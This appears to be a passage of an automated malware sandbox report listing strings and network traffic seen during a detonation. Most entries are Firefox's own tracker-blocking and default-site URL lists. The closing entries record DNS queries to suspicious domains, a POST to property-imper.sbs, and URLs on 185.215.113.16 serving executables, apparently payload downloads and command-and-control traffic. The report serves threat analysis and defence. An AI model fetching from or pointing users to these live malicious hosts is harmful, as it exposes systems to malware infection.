"*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA90B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: devtools/client/framework/devtools-browserWebChannel/this._originCheckCallbackresource://devtools/server/devtools-server.jsget FIXUP_FLAG_FORCE_ALTERNATE_URINo callback set for this channel.devtools.performance.popup.feature-flagUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:DevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoader{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)devtools/client/framework/devtoolsDevToolsStartup.jsm:handleDebuggerFlagdevtools.debugger.remote-websocketFailed to listen. Listener already attached.@mozilla.org/dom/slow-script-debug;1resource://devtools/shared/security/socket.jsFailed to listen. Callback argument missing.browser.fixup.dns_first_for_single_words^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?devtools.performance.recording.ui-base-url^([a-z+.-]+:\/{0,3})*([^\/@]+@).+Got invalid request to save JSON databrowser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1extension/default-theme@mozilla.org/extendedDatahttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc fillHandlerInfo: don't know this typehttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modules/JSONFile.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigrated@mozilla.org/uriloader/web-handler-app;1http://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1extractScheme/fixupChangedProtocol<Can't invoke URIFixup in the content processgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsScheme should be either http or httpsresource://gre/modules/DeferredTask.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/network/file-input-stream;1http://www.inbox.lv/rfc2368/?value=%s_finalizeInternal/this._finalizePromise<@mozilla.org/uriloader/local-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1@mozilla.org/intl/converter-input-stream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sFirst argument should be an nsIInputStreamnewChannel requires a single object argument@mozilla.org/scriptableinputstream;1https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredAction@mozilla.org/uriloa
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D9413000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/Zy# equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: media.{0}.allow-x64-plugin-on-arm64findUpdates() - found update for resource://gre/modules/AddonManager.sys.mjsonPrefEMEGlobalEnabledChanged() id=resource://gre/modules/UpdateUtils.sys.mjsipc:first-content-process-createdstartup - adding gmp directory failed with dom.sitepermsaddon-provider.enabledmedia.gmp-manager.cert.checkAttributesstartup - adding clearkey CDM failedonPrefEnabledChanged() - adding gmp directory findUpdates() - updateTask succeeded for startup - adding clearkey CDM directory - the given reason to update is not supportedKEY_PLUGIN_LAST_INSTALL_FAIL_REASONonPrefEnabledChanged() - removing gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONmedia.gmp-manager.checkContentSignaturemedia.gmp-manager.secondsBetweenChecksThis should only be called from XPCShell testsSitePermsAddonInstall#cancel called twice on This should only be called from XPCShell testsresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/amManager.sys.mjsuninstallPlugin() - unregistering gmp directory addGatedPermissionTypesForXpcShellTestssitepermsaddon-provider-registeredspeculativeConnectWithOriginAttributes@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStream@mozilla.org/network/safe-file-output-stream;1resource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg*://www.everestjs.net/static/st.v3.js**://track.adform.net/serving/scripts/trackpoint/*://pub.doubleverify.com/signals/pub.js*@mozilla.org/addons/addon-manager-startup;1*://cdn.branch.io/branch-latest.min.js**://c.amazon-adsystem.com/aax2/apstag.js*://auth.9c9media.ca/auth/main.js*://static.chartbeat.com/js/chartbeat.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1*://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeSafeFileOutputStream*://static.criteo.net/js/ld/publishertag.js*://*.imgur.io/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://web-assets.toggl.com/app/assets/scripts/*.jspictureinpicture%40mozilla.org:1.0.0*://libs.coremetrics.com/eluminate.jshttps://smartblock.firefox.etp/facebook.svg*://*.imgur.com/js/vendor.*.bundle.js@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpi*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js*resource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2967466612.000001F5DAA99000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: js.monitor.azure.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001A.00000002.2948920823.000001F5D95A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9B6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exeblw
Source: 22a4a09ee3.exe, 00000009.00000003.2871736930.000000000112A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe#F
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe;F
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exesuFML
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/random.exeFm
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/random.exeylz
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe/F
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
